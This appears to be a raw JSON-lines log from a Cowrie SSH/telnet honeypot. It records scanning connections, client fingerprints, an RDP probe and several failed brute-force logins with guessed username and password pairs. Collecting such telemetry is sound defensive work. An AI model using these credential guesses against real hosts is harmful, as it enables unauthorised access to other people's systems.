{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:57:47.173464Z","src_ip":"43.156.28.136","session":"17d8c30ab374","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:57:47.419041Z","src_ip":"43.156.28.136","session":"17d8c30ab374","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Nn123456","message":"login attempt [root/Nn123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:57:48.432976Z","src_ip":"43.156.28.136","session":"17d8c30ab374","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:57:49.684251Z","src_ip":"43.156.28.136","session":"17d8c30ab374","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52210,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c90a639b067","protocol":"telnet","message":"New connection: 152.42.224.71:52210 (10.17.0.5:23) [session: 7c90a639b067]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:57:50.759812Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52224,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ec9ec7a8fae","protocol":"telnet","message":"New connection: 152.42.224.71:52224 (10.17.0.5:23) [session: 7ec9ec7a8fae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:57:51.608828Z"}
{"eventid":"cowrie.session.closed","duration":43.81834101676941,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:57:53.514184Z","src_ip":"152.42.224.71","session":"f8700f4e1ff9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.188.177.46","src_port":52610,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d444204e423","protocol":"ssh","message":"New connection: 103.188.177.46:52610 (159.203.135.109:22) [session: 7d444204e423]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:57:56.432393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:57:56.438093Z","src_ip":"103.188.177.46","session":"7d444204e423","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.62.188","src_port":41812,"dst_ip":"159.203.135.109","dst_port":22,"session":"3217f82e4c17","protocol":"ssh","message":"New connection: 43.133.62.188:41812 (159.203.135.109:22) [session: 3217f82e4c17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:57:56.620770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:57:56.626372Z","src_ip":"43.133.62.188","session":"3217f82e4c17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:57:56.677561Z","src_ip":"103.188.177.46","session":"7d444204e423","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:57:56.863436Z","src_ip":"43.133.62.188","session":"3217f82e4c17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"dspace2023","message":"login attempt [dspace/dspace2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:57:57.657392Z","src_ip":"103.188.177.46","session":"7d444204e423","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.193724155426025,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:57:57.744013Z","src_ip":"152.42.224.71","session":"2a6634827391","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"xh","password":"123","message":"login attempt [xh/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:57:57.847558Z","src_ip":"43.133.62.188","session":"3217f82e4c17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":36562,"dst_ip":"159.203.135.109","dst_port":22,"session":"27a3f867d0f1","protocol":"ssh","message":"New connection: 185.236.22.41:36562 (159.203.135.109:22) [session: 27a3f867d0f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:57:57.854804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:57:57.916356Z","src_ip":"185.236.22.41","session":"27a3f867d0f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:57:57.977724Z","src_ip":"185.236.22.41","session":"27a3f867d0f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789123","message":"login attempt [root/123456789123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:57:58.542283Z","src_ip":"185.236.22.41","session":"27a3f867d0f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:57:58.897850Z","src_ip":"103.188.177.46","session":"7d444204e423","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:57:59.088542Z","src_ip":"43.133.62.188","session":"3217f82e4c17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:57:59.666629Z","src_ip":"185.236.22.41","session":"27a3f867d0f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47986,"dst_ip":"10.17.0.5","dst_port":23,"session":"40ef8bd60b48","protocol":"telnet","message":"New connection: 152.42.224.71:47986 (10.17.0.5:23) [session: 40ef8bd60b48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:58:17.976054Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.37.39","src_port":49596,"dst_ip":"10.17.0.5","dst_port":22,"session":"62e07451ffac","protocol":"ssh","message":"New connection: 43.153.37.39:49596 (10.17.0.5:22) [session: 62e07451ffac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:58:18.776506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:58:18.780485Z","src_ip":"43.153.37.39","session":"62e07451ffac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:58:18.848087Z","src_ip":"43.153.37.39","session":"62e07451ffac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc@123...","message":"login attempt [root/Abc@123...] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:58:19.153753Z","src_ip":"43.153.37.39","session":"62e07451ffac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:58:20.225257Z","src_ip":"43.153.37.39","session":"62e07451ffac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":35708,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ec7e4d51085","protocol":"telnet","message":"New connection: 209.127.178.212:35708 (159.203.135.109:23) [session: 0ec7e4d51085]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:58:20.672878Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48002,"dst_ip":"10.17.0.5","dst_port":23,"session":"2dd8b5b4d8e4","protocol":"telnet","message":"New connection: 152.42.224.71:48002 (10.17.0.5:23) [session: 2dd8b5b4d8e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:58:23.689542Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41952,"dst_ip":"10.17.0.5","dst_port":23,"session":"478c76d897c6","protocol":"telnet","message":"New connection: 152.42.224.71:41952 (10.17.0.5:23) [session: 478c76d897c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:58:26.291848Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":54966,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f0b5817f654","protocol":"ssh","message":"New connection: 192.169.243.246:54966 (10.17.0.5:22) [session: 5f0b5817f654]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:58:28.639528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:58:28.646925Z","src_ip":"192.169.243.246","session":"5f0b5817f654","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:58:28.722315Z","src_ip":"192.169.243.246","session":"5f0b5817f654","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.55763006210327,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:58:28.855964Z","src_ip":"152.42.224.71","session":"49113d10afaa","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdzxc","message":"login attempt [root/asdzxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:58:29.058327Z","src_ip":"192.169.243.246","session":"5f0b5817f654","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:58:30.137680Z","src_ip":"192.169.243.246","session":"5f0b5817f654","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41968,"dst_ip":"10.17.0.5","dst_port":23,"session":"969bd54d6cf8","protocol":"telnet","message":"New connection: 152.42.224.71:41968 (10.17.0.5:23) [session: 969bd54d6cf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:58:31.883692Z"}
{"eventid":"cowrie.session.closed","duration":44.80926728248596,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:58:36.418010Z","src_ip":"152.42.224.71","session":"7ec9ec7a8fae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42264,"dst_ip":"10.17.0.5","dst_port":23,"session":"7efde0a4501c","protocol":"telnet","message":"New connection: 152.42.224.71:42264 (10.17.0.5:23) [session: 7efde0a4501c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:58:37.391074Z"}
{"eventid":"cowrie.session.closed","duration":13.56274127960205,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:58:39.854528Z","src_ip":"152.42.224.71","session":"478c76d897c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42278,"dst_ip":"10.17.0.5","dst_port":23,"session":"63044e599bea","protocol":"telnet","message":"New connection: 152.42.224.71:42278 (10.17.0.5:23) [session: 63044e599bea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:58:40.861194Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40646,"dst_ip":"10.17.0.5","dst_port":23,"session":"44635c7b7d75","protocol":"telnet","message":"New connection: 152.42.224.71:40646 (10.17.0.5:23) [session: 44635c7b7d75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:58:47.403947Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":55688,"dst_ip":"159.203.135.109","dst_port":22,"session":"86a0fb5bcb73","protocol":"ssh","message":"New connection: 152.42.212.128:55688 (159.203.135.109:22) [session: 86a0fb5bcb73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:58:48.590810Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:58:48.595531Z","src_ip":"152.42.212.128","session":"86a0fb5bcb73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:58:48.599105Z","src_ip":"152.42.212.128","session":"86a0fb5bcb73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40662,"dst_ip":"10.17.0.5","dst_port":23,"session":"fab99612fd49","protocol":"telnet","message":"New connection: 152.42.224.71:40662 (10.17.0.5:23) [session: fab99612fd49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:58:51.604997Z"}
{"eventid":"cowrie.session.closed","duration":28.436741828918457,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:58:52.126133Z","src_ip":"152.42.224.71","session":"2dd8b5b4d8e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40672,"dst_ip":"10.17.0.5","dst_port":23,"session":"52c43e173621","protocol":"telnet","message":"New connection: 152.42.224.71:40672 (10.17.0.5:23) [session: 52c43e173621]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:58:52.321064Z"}
{"eventid":"cowrie.session.closed","duration":31.96425461769104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:58:52.637018Z","src_ip":"209.127.178.212","session":"0ec7e4d51085","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47258,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0f3d8c0ba85","protocol":"telnet","message":"New connection: 152.42.224.71:47258 (10.17.0.5:23) [session: b0f3d8c0ba85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:58:56.309720Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47262,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e87e334c85d","protocol":"telnet","message":"New connection: 152.42.224.71:47262 (10.17.0.5:23) [session: 0e87e334c85d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:58:57.048557Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":40900,"dst_ip":"159.203.135.109","dst_port":22,"session":"34c19c849cb7","protocol":"ssh","message":"New connection: 102.210.148.92:40900 (159.203.135.109:22) [session: 34c19c849cb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:00.487704Z"}
